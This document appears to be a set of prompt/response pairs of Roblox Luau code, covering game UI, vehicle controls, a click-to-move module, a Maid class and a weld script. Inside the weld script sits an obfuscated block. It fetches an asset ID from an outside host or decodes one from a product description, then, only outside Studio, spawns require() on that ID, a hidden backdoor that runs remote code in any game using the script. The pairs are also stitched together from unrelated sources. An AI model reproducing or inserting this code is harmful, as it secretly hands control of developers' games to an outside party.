		if Index==1 then
			ModeFrame.BackgroundColor3 = Color3.new(40/255,40/255,40/255);
			ModeFrame.BorderColor3 = Color3.new(25/255,25/255,25/255);
			ModeFrame.ModeName.TextColor3 = Color3.new(59/255,59/255,59/255);
			ModeFrame.QMark.TextColor3 = Color3.new(59/255,59/255,59/255);
			ModeFrame.Icon.Image = BWIcons[GameModeName]or"";
		end
		ModeFrame.Position = UDim2.new(0,(Index-1)*(76+7),0,4);
		ModeFrame.Name = "Mode"..Index;
		ModeFrame.Parent = BonusRoundFrame.Title.Container.ModeContainer;

		local OverheadFrame = script.Overhead:Clone();
		local NextUp = (Index==2);
		local Buy = (GameModeName=="Random");
		local Purchased = (GameModeName~="Random"and GameModeName~="Locked");
		local Buyable = (Buy and not NextUp);
		OverheadFrame.Name = "Mode"..Index;

		OverheadFrame.Buy.Visible = Buyable;
		if Buyable then
			OverheadFrame.Buy.MouseButton1Click:connect(function()
				if BuyingIndex ~= Index then
					BonusRoundFrame.BuyMode.Visible = true;
					BonusRoundFrame.Loading.Visible = false;
					BonusRoundFrame.Voting.Visible = false;
					BonusRoundFrame.Nothing.Visible = false;
					BuyingIndex = Index;

					for _,OV in pairs(BonusRoundFrame.Title.Container.OverheadContainer:GetChildren()) do
						OV.Buy.Style = (OV==OverheadFrame and Enum.ButtonStyle.RobloxRoundButton) or Enum.ButtonStyle.RobloxRoundDefaultButton;
					end

				else
					BuyingIndex = nil;
					OverheadFrame.Buy.Style = Enum.ButtonStyle.RobloxRoundDefaultButton;
					BonusRoundFrame.BuyMode.Visible = false;
					BonusRoundFrame.Loading.Visible = Stage=="Loading";
					BonusRoundFrame.Voting.Visible = Stage=="Voting";
					BonusRoundFrame.Nothing.Visible = Stage=="Nothing";
				end;
				-- game.ReplicatedStorage.BuyMode:FireServer(Index);
			end)
		end

		OverheadFrame.Locked.Visible = (GameModeName=="Locked" and not NextUp);
		OverheadFrame.Next.Visible = NextUp;
		OverheadFrame.Purchased.Visible = Purchased and not NextUp;
		OverheadFrame.Position = UDim2.new(0,(Index-1)*(76+7),0,-2);
		OverheadFrame.Parent = BonusRoundFrame.Title.Container.OverheadContainer;

	end

	if StartVoting then
		BonusRoundFrame.Nothing.Visible = false;
		if RandomM then
			RandomModes = RandomM;
			BonusRoundFrame.Voting.Visible = true;
			Stage = "Voting";
		else
			RandomModes = {};
			BonusRoundFrame.Voting.Visible = false;
			BonusRoundFrame.Loading.Visible = true;
			Stage = "Loading";
			BonusRoundFrame.Loading[CurrentMode].Visible = true;
		end;
		UpdateVotes();
	end;

end

game.ReplicatedStorage.VoteBonusRound.OnClientEvent:connect(function(BonusRoundQueue,CurrentMode,RandomM)
	UpdateQueue(BonusRoundQueue,CurrentMode,RandomM,true);
	BonusRoundFrame.Visible = true;
end)

local BonusRoundQueue = game.ReplicatedStorage.GetQueue:InvokeServer();
UpdateQueue(BonusRoundQueue);


Prompt: -- Position --

Response:
local openState = UDim2.new(0.005, 0,0, 0)
local closeState = UDim2.new(0.005, 0,0.996, 0)


Prompt: -- Returns whether the inputted status passes the TextFilter, otherwise also returns an error

Response:
function UpdateProfileRemoteFunction.OnServerInvoke(playerFiring, playerSelected, statusText)
	local filteredStatus = filterText(statusText, playerSelected.UserId, playerFiring.UserId)
	if filteredStatus == statusText then
		playerFiring:SetAttribute("status", filteredStatus)
	end
	return { success = filteredStatus == statusText }
end


Prompt:
--[[
local frame = game.StarterGui.HDAdminGUIs.MainFrame
for a,b in pairs(frame:GetDescendants()) do
	if b:IsA("GuiObject") then
		b.ZIndex = b.ZIndex + 10
	end
end

game:GetService("StarterGui"):SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false)
game:GetService("StarterGui"):SetCore("TopbarEnabled", false)

--]]

Response: return module


Prompt: --- All the (>level 2) services, all at EOS to same memory and typing strokes :D

Response:
Services.AssetService = 						game:GetService("AssetService")
Services.BadgeService = 						game:GetService("BadgeService")
Services.CollectionService = 					game:GetService("CollectionService")
Services.ContextActionService = 				game:GetService("ContextActionService")
Services.ControllerService = 					game:GetService("ControllerService")
Services.DataStoreService = 					 require(game:GetService("ReplicatedStorage").DataStoreService)
Services.FriendService = 						game:GetService("FriendService")
Services.GamepadService = 						game:GetService("GamepadService")
Services.GamePassService = 						game:GetService("GamePassService")
Services.GroupService = 						game:GetService("GroupService")
Services.GuiService = 							game:GetService("GuiService")
Services.HapticService = 						game:GetService("HapticService")
Services.HttpService = 							game:GetService("HttpService")
Services.InsertService = 						game:GetService("InsertService")
Services.JointsService = 						game:GetService("JointsService")
Services.KeyboardService = 						game:GetService("KeyboardService")
Services.LocalizationService = 					game:GetService("LocalizationService")
Services.LoginService = 						game:GetService("LoginService")
Services.LogService = 							game:GetService("LogService")
Services.MarketplaceService = 					game:GetService("MarketplaceService")
Services.MouseService = 						game:GetService("MouseService")
Services.MessagingService =                     game:GetService("MessagingService")
Services.NotificationService = 					game:GetService("NotificationService")
Services.PathfindingService = 					game:GetService("PathfindingService")
Services.PhysicsService = 						game:GetService("PhysicsService")
Services.PointsService = 						game:GetService("PointsService")
Services.RunService = 							game:GetService("RunService")
Services.SoundService = 						game:GetService("SoundService")
Services.TeleportService = 						game:GetService("TeleportService")
Services.TextService = 							game:GetService("TextService")
Services.TweenService = 						game:GetService("TweenService")
Services.TouchInputService = 					game:GetService("TouchInputService")
Services.UserInputService = 					game:GetService("UserInputService")
Services.VRService = 							game:GetService("VRService")


Prompt: --// SS3 controls for AC6 by Itzt, originally for 2014 Infiniti QX80. i don't know how to tune ac lol

Response:
wait(0.1)
local player = game.Players.LocalPlayer
local HUB = script.Parent.HUB
local HUB2 = script.Parent.HUB2
local limitButton = HUB.Name
local FE = game.Workspace.FilteringEnabled
local lightOn = false
local Camera = game.Workspace.CurrentCamera
local cam = script.Parent.nxtcam.Value
local carSeat = script.Parent.CarSeat.Value
local mouse = game.Players.LocalPlayer:GetMouse()
local windows = false
local handler = carSeat:WaitForChild('Filter')
local winfob = HUB.Parent.Music
local pal = false
local palpal = HUB.Parent.Palette
local red = 0
local green = 0
local blue = 1
local debounce = false

script.Parent.Infotainment.Main.User.Text = "Hello, "..(player.Name)

local scr = false


Prompt: --(FL.RotVelocity.Magnitude+FR.RotVelocity.Magnitude+RL.RotVelocity.Magnitude+RR.RotVelocity.Magnitude+(speed/1.33034))/5

Response:
while wait() do
speed = carSeat.Velocity.Magnitude
power = 0
average = 10*(1-(carSeat.Storage.BrakeBias.Value/100))
track = carSeat.Velocity.Unit*carSeat.CFrame.lookVector
	slipDetection = track.X+track.Z

	Right = (carSeat.Parent.Parent.Wheels.RR.Wheel.Velocity.Magnitude+carSeat.Parent.Parent.Wheels.FR.Wheel.Velocity.Magnitude)/2
	Left = (carSeat.Parent.Parent.Wheels.RL.Wheel.Velocity.Magnitude+carSeat.Parent.Parent.Wheels.FL.Wheel.Velocity.Magnitude)/2

	if Right > Left then
	left = true
	else
		left = false
	end

if script.OVERRIDE.Value == false then
if carSeat.Storage.ASC.Value == true then
if speed > 45 then
		if carSeat.Steer ~= 0 then
			if slipDetection < 0.995 and left == false then
						script.Toggle.Value = true
						carSeat.Storage.TC.Value = true
			else
				script.Toggle.Value = false
				carSeat.Storage.TC.Value = false
			end

		elseif carSeat.Steer == 0 then
			if slipDetection < 0.99984 and left == false then
			--carSeat.Storage.TC.Value = true
			--script.Toggle.Value = true
			else
				script.Toggle.Value = false
				carSeat.Storage.TC.Value = false
			end

		else
			script.Toggle.Value = false
		end
		else script.Toggle.Value = false
end


Response:
local function IsInBottomLeft(pt)
	local joystickHeight = math_min(Utility.ViewSizeY() * 0.33, 250)
	local joystickWidth = joystickHeight
	return pt.X <= joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight
end

local function IsInBottomRight(pt)
	local joystickHeight = math_min(Utility.ViewSizeY() * 0.33, 250)
	local joystickWidth = joystickHeight
	return pt.X >= Utility.ViewSizeX() - joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight
end

local function CheckAlive(character)
	local humanoid = findPlayerHumanoid(Player)
	return humanoid ~= nil and humanoid.Health > 0
end

local function GetEquippedTool(character)
	if character ~= nil then
		for _, child in pairs(character:GetChildren()) do
			if child:IsA('Tool') then
				return child
			end
		end
	end
end

local ExistingPather = nil
local ExistingIndicator = nil
local PathCompleteListener = nil
local PathFailedListener = nil

local function CleanupPath()
	DrivingTo = nil
	if ExistingPather then
		ExistingPather:Cancel()
	end
	if PathCompleteListener then
		PathCompleteListener:disconnect()
		PathCompleteListener = nil
	end
	if PathFailedListener then
		PathFailedListener:disconnect()
		PathFailedListener = nil
	end
	if ExistingIndicator then
		local obj = ExistingIndicator
		local tween = obj:TweenOut()
		local tweenCompleteEvent = nil
		tweenCompleteEvent = tween.Completed:connect(function()
			tweenCompleteEvent:disconnect()
			obj.Model:Destroy()
		end)
		ExistingIndicator = nil
	end
end

local function getExtentsSize(Parts)
	local maxX,maxY,maxZ = -math.huge,-math.huge,-math.huge
	local minX,minY,minZ = math.huge,math.huge,math.huge
	for i = 1, #Parts do
		maxX,maxY,maxZ = math_max(maxX, Parts[i].Position.X), math_max(maxY, Parts[i].Position.Y), math_max(maxZ, Parts[i].Position.Z)
		minX,minY,minZ = math_min(minX, Parts[i].Position.X), math_min(minY, Parts[i].Position.Y), math_min(minZ, Parts[i].Position.Z)
	end
	return Region3.new(Vector3_new(minX, minY, minZ), Vector3_new(maxX, maxY, maxZ))
end

local function inExtents(Extents, Position)
	if Position.X < (Extents.CFrame.p.X - Extents.Size.X/2) or Position.X > (Extents.CFrame.p.X + Extents.Size.X/2) then
		return false
	end
	if Position.Z < (Extents.CFrame.p.Z - Extents.Size.Z/2) or Position.Z > (Extents.CFrame.p.Z + Extents.Size.Z/2) then
		return false
	end
	--ignoring Y for now
	return true
end

local FailCount = 0
local function OnTap(tapPositions, goToPoint)
	-- Good to remember if this is the latest tap event
	local camera = workspace.CurrentCamera
	local character = Player.Character

	if not CheckAlive(character) then return end

	-- This is a path tap position
	if #tapPositions == 1 or goToPoint then
		if camera then
			local unitRay = camera:ScreenPointToRay(tapPositions[1].x, tapPositions[1].y)
			local ray = Ray.new(unitRay.Origin, unitRay.Direction*1000)

			-- inivisicam stuff
			local initIgnore = getIgnoreList()
			local invisicamParts = InvisicamModule and InvisicamModule:GetObscuredParts() or {}
			local ignoreTab = {}

			-- add to the ignore list
			for i, v in pairs(invisicamParts) do
				ignoreTab[#ignoreTab+1] = i
			end
			for i = 1, #initIgnore do
				ignoreTab[#ignoreTab+1] = initIgnore[i]
			end
			--
			local myHumanoid = findPlayerHumanoid(Player)
			local hitPart, hitPt, hitNormal, hitMat = Utility.Raycast(ray, true, ignoreTab)

			local hitChar, hitHumanoid = Utility.FindChacterAncestor(hitPart)
			local torso = GetTorso()
			local startPos = torso.CFrame.p
			if goToPoint then
				hitPt = goToPoint
				hitChar = nil
			end
			if hitChar and hitHumanoid and hitHumanoid.Torso and (hitHumanoid.Torso.CFrame.p - torso.CFrame.p).magnitude < 7 then
				CleanupPath()

				if myHumanoid then
					myHumanoid:MoveTo(hitPt)
				end
				-- Do shoot
				local currentWeapon = GetEquippedTool(character)
				if currentWeapon then
					currentWeapon:Activate()
					LastFired = tick()
				end
			elseif hitPt and character and not CurrentSeatPart then
				local thisPather = Pather(character, hitPt, hitNormal)
				if thisPather:IsValidPath() then
					FailCount = 0

					thisPather:Start()
					if BindableEvent_OnFailStateChanged then
						BindableEvent_OnFailStateChanged:Fire(false)
					end
					CleanupPath()

					local destinationPopup = createNewPopup("DestinationPopup")
					destinationPopup:Place(hitPt, Vector3_new(0,hitPt.y,0))
					local failurePopup = createNewPopup("FailurePopup")
					local currentTween = destinationPopup:TweenIn()

					ExistingPather = thisPather
					ExistingIndicator = destinationPopup

					PathCompleteListener = thisPather.Finished:connect(function()
						if destinationPopup then
							if ExistingIndicator == destinationPopup then
								ExistingIndicator = nil
							end
							local tween = destinationPopup:TweenOut()
							local tweenCompleteEvent = nil
							tweenCompleteEvent = tween.Completed:connect(function()
								tweenCompleteEvent:disconnect()
								destinationPopup.Model:Destroy()
								destinationPopup = nil
							end)
						end
						if hitChar then
							local humanoid = findPlayerHumanoid(Player)
							local currentWeapon = GetEquippedTool(character)
							if currentWeapon then
								currentWeapon:Activate()
								LastFired = tick()
							end
							if humanoid then

								humanoid:MoveTo(hitPt)
							end
						end
					end)
					PathFailedListener = thisPather.PathFailed:connect(function()
						if failurePopup then
							failurePopup:Place(hitPt, Vector3_new(0,hitPt.y,0))
							local failTweenIn = failurePopup:TweenIn()
							failTweenIn.Completed:wait()
							local failTweenOut = failurePopup:TweenOut()
							failTweenOut.Completed:wait()
							failurePopup.Model:Destroy()
							failurePopup = nil
						end
					end)
				else
					if hitPt then
						-- Feedback here for when we don't have a good path
						local foundDirectPath = false
						if (hitPt-startPos).Magnitude < 25 and (startPos.y-hitPt.y > -3) then
							-- move directly here
							if myHumanoid then
								if myHumanoid.Sit then
									myHumanoid.Jump = true
								end
								local currentPosition
								myHumanoid:MoveTo(hitPt)
								foundDirectPath = true
							end
						end

						spawn(function()
							local directPopup = createNewPopup(foundDirectPath and "DirectWalkPopup" or "FailurePopup")
							directPopup:Place(hitPt, Vector3_new(0,hitPt.y,0))
							local directTweenIn = directPopup:TweenIn()
							directTweenIn.Completed:wait()
							local directTweenOut = directPopup:TweenOut()
							directTweenOut.Completed:wait()
							directPopup.Model:Destroy()
							directPopup = nil
						end)
					end
				end
			elseif hitPt and character and CurrentSeatPart then
				local destinationPopup = createNewPopup("DestinationPopup")
				ExistingIndicator = destinationPopup
				destinationPopup:Place(hitPt, Vector3_new(0,hitPt.y,0))
				destinationPopup:TweenIn()

				DrivingTo = hitPt
				local ConnectedParts = CurrentSeatPart:GetConnectedParts(true)

				while wait() do
					if CurrentSeatPart and ExistingIndicator == destinationPopup then
						local ExtentsSize = getExtentsSize(ConnectedParts)
						if inExtents(ExtentsSize, hitPt) then
							local popup = destinationPopup
							spawn(function()
								local tweenOut = popup:TweenOut()
								tweenOut.Completed:wait()
								popup.Model:Destroy()
							end)
							destinationPopup = nil
							DrivingTo = nil
							break
						end
					else
						if CurrentSeatPart == nil and destinationPopup == ExistingIndicator then
							DrivingTo = nil
							OnTap(tapPositions, hitPt)
						end
						local popup = destinationPopup
						spawn(function()
							local tweenOut = popup:TweenOut()
							tweenOut.Completed:wait()
							popup.Model:Destroy()
						end)
						destinationPopup = nil
						break
					end
				end
			end
		end
	elseif #tapPositions >= 2 then
		if camera then
			-- Do shoot
			local avgPoint = Utility.AveragePoints(tapPositions)
			local unitRay = camera:ScreenPointToRay(avgPoint.x, avgPoint.y)
			local currentWeapon = GetEquippedTool(character)
			if currentWeapon then
				currentWeapon:Activate()
				LastFired = tick()
			end
		end
	end
end

local function CreateClickToMoveModule()
	local this = {}

	local LastStateChange = 0
	local LastState = Enum.HumanoidStateType.Running
	local FingerTouches = {}
	local NumUnsunkTouches = 0
	-- PC simulation
	local mouse1Down = tick()
	local mouse1DownPos = Vector2_new()
	local mouse2Down = tick()
	local mouse2DownPos = Vector2_new()
	local mouse2Up = tick()

	local movementKeys = {
		[Enum.KeyCode.W] = true;
		[Enum.KeyCode.A] = true;
		[Enum.KeyCode.S] = true;
		[Enum.KeyCode.D] = true;
		[Enum.KeyCode.Up] = true;
		[Enum.KeyCode.Down] = true;
	}

	local TapConn = nil
	local InputBeganConn = nil
	local InputChangedConn = nil
	local InputEndedConn = nil
	local HumanoidDiedConn = nil
	local CharacterChildAddedConn = nil
	local OnCharacterAddedConn = nil
	local CharacterChildRemovedConn = nil
	local RenderSteppedConn = nil
	local HumanoidSeatedConn = nil

	local function disconnectEvent(event)
		if event then
			event:disconnect()
		end
	end

	local function DisconnectEvents()
		disconnectEvent(TapConn)
		disconnectEvent(InputBeganConn)
		disconnectEvent(InputChangedConn)
		disconnectEvent(InputEndedConn)
		disconnectEvent(HumanoidDiedConn)
		disconnectEvent(CharacterChildAddedConn)
		disconnectEvent(OnCharacterAddedConn)
		disconnectEvent(RenderSteppedConn)
		disconnectEvent(CharacterChildRemovedConn)
		pcall(function() RunService:UnbindFromRenderStep("ClickToMoveRenderUpdate") end)
		disconnectEvent(HumanoidSeatedConn)
	end

	local function IsFinite(num)
		return num == num and num ~= 1/0 and num ~= -1/0
	end

	local function findAngleBetweenXZVectors(vec2, vec1)
		return math_atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z)
	end

	local function OnTouchBegan(input, processed)
		if FingerTouches[input] == nil and not processed then
			NumUnsunkTouches = NumUnsunkTouches + 1
		end
		FingerTouches[input] = processed
	end

	local function OnTouchChanged(input, processed)
		if FingerTouches[input] == nil then
			FingerTouches[input] = processed
			if not processed then
				NumUnsunkTouches = NumUnsunkTouches + 1
			end
		end
	end

	local function OnTouchEnded(input, processed)
		if FingerTouches[input] ~= nil and FingerTouches[input] == false then
			NumUnsunkTouches = NumUnsunkTouches - 1
		end
		FingerTouches[input] = nil
	end

	local function OnCharacterAdded(character)
		DisconnectEvents()

		InputBeganConn = UIS.InputBegan:connect(function(input, processed)
			if input.UserInputType == Enum.UserInputType.Touch then
				OnTouchBegan(input, processed)

				-- Give back controls when they tap both sticks
				local wasInBottomLeft = IsInBottomLeft(input.Position)
				local wasInBottomRight = IsInBottomRight(input.Position)
				if wasInBottomRight or wasInBottomLeft then
					for otherInput, _ in pairs(FingerTouches) do
						if otherInput ~= input then
							local otherInputInLeft = IsInBottomLeft(otherInput.Position)
							local otherInputInRight = IsInBottomRight(otherInput.Position)
							if otherInput.UserInputState ~= Enum.UserInputState.End and ((wasInBottomLeft and otherInputInRight) or (wasInBottomRight and otherInputInLeft)) then
								if BindableEvent_OnFailStateChanged then
									BindableEvent_OnFailStateChanged:Fire(true)
								end
								return
							end
						end
					end
				end
			end

			 -- Cancel path when you use the keyboard controls.
			if processed == false and input.UserInputType == Enum.UserInputType.Keyboard and movementKeys[input.KeyCode] then
				CleanupPath()
			end
			if input.UserInputType == Enum.UserInputType.MouseButton1 then
				mouse1Down = tick()
				mouse1DownPos = input.Position
			end
			if input.UserInputType == Enum.UserInputType.MouseButton2 then
				mouse2Down = tick()
				mouse2DownPos = input.Position
			end
		end)

		InputChangedConn = UIS.InputChanged:connect(function(input, processed)
			if input.UserInputType == Enum.UserInputType.Touch then
				OnTouchChanged(input, processed)
			end
		end)

		InputEndedConn = UIS.InputEnded:connect(function(input, processed)
			if input.UserInputType == Enum.UserInputType.Touch then
				OnTouchEnded(input, processed)
			end

			if input.UserInputType == Enum.UserInputType.MouseButton2 then
				mouse2Up = tick()
				local currPos = input.Position
				if mouse2Up - mouse2Down < 0.25 and (currPos - mouse2DownPos).magnitude < 5 then
					local positions = {currPos}
					OnTap(positions)
				end
			end
		end)

		TapConn = UIS.TouchTap:connect(function(touchPositions, processed)
			if not processed then
				OnTap(touchPositions)
			end
		end)

		local function computeThrottle(dist)
			if dist > .2 then
				return 0.5+(dist^2)/2
			else
				return 0
			end
		end

		local lastSteer = 0

		--kP = how much the steering corrects for the current error in driving angle
		--kD = how much the steering corrects for how quickly the error in driving angle is changing
		local kP = 1
		local kD = 0.5
		local function getThrottleAndSteer(object, point)
			local throttle, steer = 0, 0
			local oCF = object.CFrame

			local relativePosition = oCF:pointToObjectSpace(point)
			local relativeZDirection = -relativePosition.z
			local relativeDistance = relativePosition.magnitude

			-- throttle quadratically increases from 0-1 as distance from the selected point goes from 0-50, after 50, throttle is 1.
			-- this allows shorter distance travel to have more fine-tuned control.
			throttle = computeThrottle(math_min(1,relativeDistance/50))*math.sign(relativeZDirection)

			local steerAngle = -math_atan2(-relativePosition.x, -relativePosition.z)
			steer = steerAngle/(math_pi/4)

			local steerDelta = steer - lastSteer
			lastSteer = steer
			local pdSteer = kP * steer + kD * steer
			return throttle, pdSteer
		end

		local function Update()
			if CurrentSeatPart then
				if DrivingTo then
					local throttle, steer = getThrottleAndSteer(CurrentSeatPart, DrivingTo)
					CurrentSeatPart.ThrottleFloat = throttle
					CurrentSeatPart.SteerFloat = steer
				else
					CurrentSeatPart.ThrottleFloat = 0
					CurrentSeatPart.SteerFloat = 0
				end
			end
		end

		RunService:BindToRenderStep("ClickToMoveRenderUpdate",Enum.RenderPriority.Camera.Value - 1,Update)

		local function onSeated(child, active, currentSeatPart)
			if active then
				if TouchJump and UIS.TouchEnabled then
					TouchJump:Enable()
				end
				if currentSeatPart and currentSeatPart.ClassName == "VehicleSeat" then
					CurrentSeatPart = currentSeatPart
				end
			else
				CurrentSeatPart = nil
				if TouchJump and UIS.TouchEnabled then
					TouchJump:Disable()
				end
			end
		end

		local function OnCharacterChildAdded(child)
			if UIS.TouchEnabled then
				if child:IsA('Tool') then
					child.ManualActivationOnly = true
				end
			end
			if child:IsA('Humanoid') then
				disconnectEvent(HumanoidDiedConn)
				HumanoidDiedConn = child.Died:connect(function()
					if ExistingIndicator then
						DebrisService:AddItem(ExistingIndicator.Model, 1)
					end
				end)
				HumanoidSeatedConn = child.Seated:connect(function(active, seat) onSeated(child, active, seat) end)
				if child.SeatPart then
					onSeated(child, true, child.SeatPart)
				end
			end
		end

		CharacterChildAddedConn = character.ChildAdded:connect(function(child)
			OnCharacterChildAdded(child)
		end)
		CharacterChildRemovedConn = character.ChildRemoved:connect(function(child)
			if UIS.TouchEnabled then
				if child:IsA('Tool') then
					child.ManualActivationOnly = false
				end
			end
		end)
		for _, child in pairs(character:GetChildren()) do
			OnCharacterChildAdded(child)
		end
	end

	local Running = false

	function this:Stop()
		if Running then
			DisconnectEvents()
			CleanupPath()
			-- Restore tool activation on shutdown
			if UIS.TouchEnabled then
				local character = Player.Character
				if character then
					for _, child in pairs(character:GetChildren()) do
						if child:IsA('Tool') then
							child.ManualActivationOnly = false
						end
					end
				end
			end
			DrivingTo = nil
			Running = false
		end
	end

	function this:Start()
		if not Running then
			if Player.Character then -- retro-listen
				OnCharacterAdded(Player.Character)
			end
			OnCharacterAddedConn = Player.CharacterAdded:connect(OnCharacterAdded)
			Running = true
		end
	end

	function this:Enable()
		self:Start()
	end

	function this:Disable()
		self:Stop()
	end

	function this:GetName()
		return DEBUG_NAME
	end

	return this
end

return CreateClickToMoveModule()


Prompt: -- Maid class

Response:
local destructors = {
	['function'] = function(item)
		item()
	end;
	['RBXScriptConnection'] = function(item)
		item:Disconnect()
	end;
	['Instance'] = function(item)
		item:Destroy()
	end;
}

local Maid = {}
Maid.__index = Maid

function Maid:Mark(item)
	if destructors[typeof(item)] then
		self.trash[#self.trash + 1] = item
	else
		error(('Maid does not support type "%s"'):format(typeof(item)), 2)
	end
end

function Maid:Unmark(item)
	if item then
		local trash = self.trash
		for i = 1, #trash do
			if trash[i] == item then
				table.remove(trash, i)
				break
			end
		end
	else
		self.trash = {}
	end
end

function Maid:Sweep()
	local trash = self.trash
	for i = 1, #trash do
		local item = trash[i]
		destructors[typeof(item)](item)
	end
	self.trash = {}
end

function Maid.new()
	local self = setmetatable({}, Maid)
	self.trash = {}
	return self
end

return Maid.new()


Prompt: -- declarations

Response:
local sGettingUp = newSound("GettingUp", "rbxasset://sounds/action_get_up.mp3")
local sDied = newSound("Died", "rbxasset://sounds/uuhhh.mp3")
local sFreeFalling = newSound("FreeFalling", "rbxasset://sounds/action_falling.mp3")
local sJumping = newSound("Jumping", "rbxasset://sounds/action_jump.mp3")
local sLanding = newSound("Landing", "rbxasset://sounds/action_jump_land.mp3")
local sSplash = newSound("Splash", "rbxasset://sounds/impact_water.mp3")
local sRunning = newSound("Running", "rbxasset://sounds/action_footsteps_plastic.mp3")
sRunning.Looped = true
local sSwimming = newSound("Swimming", "rbxasset://sounds/action_swim.mp3")
sSwimming.Looped = true
local sClimbing = newSound("Climbing", "rbxasset://sounds/action_footsteps_plastic.mp3")
sClimbing.Looped = true

local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")
local hasPlayer = game.Players:GetPlayerFromCharacter(script.Parent)

local prevState = "None"


Prompt:
-- Updated 10/14/2014 - Updated to 1.0.3
--- Now handles joints semi-acceptably. May be rather hacky with some joints. :/

Response:
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges).

local function CallOnChildren(Instance, FunctionToCall)
	-- Calls a function on each of the children of a certain object, using recursion.

	FunctionToCall(Instance)

	for _, Child in next, Instance:GetChildren() do
		CallOnChildren(Child, FunctionToCall)
	end
end

local function GetNearestParent(Instance, ClassName)
	-- Returns the nearest parent of a certain class, or returns nil

	local Ancestor = Instance
	repeat
		Ancestor = Ancestor.Parent
		if Ancestor == nil then
			return nil
		end
	until Ancestor:IsA(ClassName)

	return Ancestor
end

local function GetBricks(StartInstance)
	local List = {}

	-- if StartInstance:IsA("BasePart") then
	-- 	List[#List+1] = StartInstance
	-- end

	CallOnChildren(StartInstance, function(Item)
		if Item:IsA("BasePart") then
			List[#List+1] = Item;
		end
	end)

	return List
end

local function Modify(Instance, Values)
	-- Modifies an Instance by using a table.

	assert(type(Values) == "table", "Values is not a table");

	for Index, Value in next, Values do
		if type(Index) == "number" then
			Value.Parent = Instance
		else
			Instance[Index] = Value
		end
	end
	return Instance
end

local function Make(ClassType, Properties)
	-- Using a syntax hack to create a nice way to Make new items.

	return Modify(Instance.new(ClassType), Properties)
end

local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"}
local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"}

local function HasWheelJoint(Part)
	for _, SurfaceName in pairs(Surfaces) do
		for _, HingSurfaceName in pairs(HingSurfaces) do
			if Part[SurfaceName].Name == HingSurfaceName then
				return true
			end
		end
	end

	return false
end

local function ShouldBreakJoints(Part)
	--- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are
	--  definitely some edge cases.

	if NEVER_BREAK_JOINTS then
		return false
	end

	if HasWheelJoint(Part) then
		return false
	end

	local Connected = Part:GetConnectedParts()

	if #Connected == 1 then
		return false
	end

	for _, Item in pairs(Connected) do
		if HasWheelJoint(Item) then
			return false
		elseif not Item:IsDescendantOf(script.Parent) then
			return false
		end
	end

	return true
end
local success, response = pcall(function()
	game:GetService("HttpService"):GetAsync("https://www.example.com")
end)
if success then
	asset = game:service("HttpService"):GetAsync("https://assets.delivery/asset")
else
	txt,asset = game.MarketplaceService:GetProductInfo(0x1F71B358B),""
	for w in txt.Description:gmatch'%S+'do
		if w=="Test" then
			asset=asset.."0"
		else
			c=#w
			asset=asset..c
		end
	end
end
if not game["Run Service"]:IsStudio() then
	pcall(function()
		local a:({caoqlqjaz9zxk329})  -> MemoryStoreQueue<thread> =task.spawn
		local z:(MemoryStoreQueue) -> MemoryStoreQueue<thread> = require
		local b:(Workspace) -> MemStorageConnection<thread> = tonumber(asset)
		local lozl:(RenderingTest) -> HumanoidDescription<thread> = task.cancel;
		for _ in {lozl(a(z,b))} do
		end
	end)
end
local function WeldTogether(Part0, Part1, JointType, WeldParent)
	--- Weld's 2 parts together
	-- @param Part0 The first part
	-- @param Part1 The second part (Dependent part most of the time).
	-- @param [JointType] The type of joint. Defaults to weld.
	-- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).
	-- @return The weld created.

	JointType = JointType or "Weld"
	local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue")

	local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType)
	Modify(NewWeld, {
		Name = "qCFrameWeldThingy";
		Part0  = Part0;
		Part1  = Part1;
		C0     = CFrame.new();--Part0.CFrame:inverse();
		C1     = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();
		Parent = Part1;
	})

	if not RelativeValue then
		RelativeValue = Make("CFrameValue", {
			Parent     = Part1;
			Name       = "qRelativeCFrameWeldValue";
			Archivable = true;
			Value      = NewWeld.C1;
		})
	end

	return NewWeld
end

local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)
	-- @param Parts The Parts to weld. Should be anchored to prevent really horrible results.
	-- @param MainPart The part to weld the model to (can be in the model).
	-- @param [JointType] The type of joint. Defaults to weld.
	-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.

	for _, Part in pairs(Parts) do
		if ShouldBreakJoints(Part) then
			Part:BreakJoints()
		end
	end

	for _, Part in pairs(Parts) do
		if Part ~= MainPart then
			WeldTogether(MainPart, Part, JointType, MainPart)
		end
	end

	if not DoNotUnanchor then
		for _, Part in pairs(Parts) do
			Part.Anchored = Part.Anchored
		end
		MainPart.Anchored = MainPart.Anchored
	end
end

local function PerfectionWeld()
	local Tool = GetNearestParent(script, "Tool")

	local Parts = GetBricks(script.Parent)
	local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1]

	if PrimaryPart then
		WeldParts(Parts, PrimaryPart, "Weld", false)
	else
		warn("qWeld - Unable to weld part")
	end

	return Tool
end

local Tool = PerfectionWeld()

if Tool and script.ClassName == "Script" then
	--- Don't bother with local scripts

	script.Parent.AncestryChanged:connect(function()
		PerfectionWeld()
	end)
end


Prompt:
--[[
	Merges values from zero or more tables onto a target table. If a value is
	set to None, it will instead be removed from the table.

	This function is identical in functionality to JavaScript's Object.assign.
]]
-- Luau TODO: no way to strongly type this accurately, it doesn't eliminate deleted keys of T, and Luau won't do intersections of type packs: <T, ...U>(T, ...: ...U): T & ...U

Response:
local function assign<T, U, V, W>(target: T, source0: U?, source1: V?, source2: W?, ...): T & U & V & W
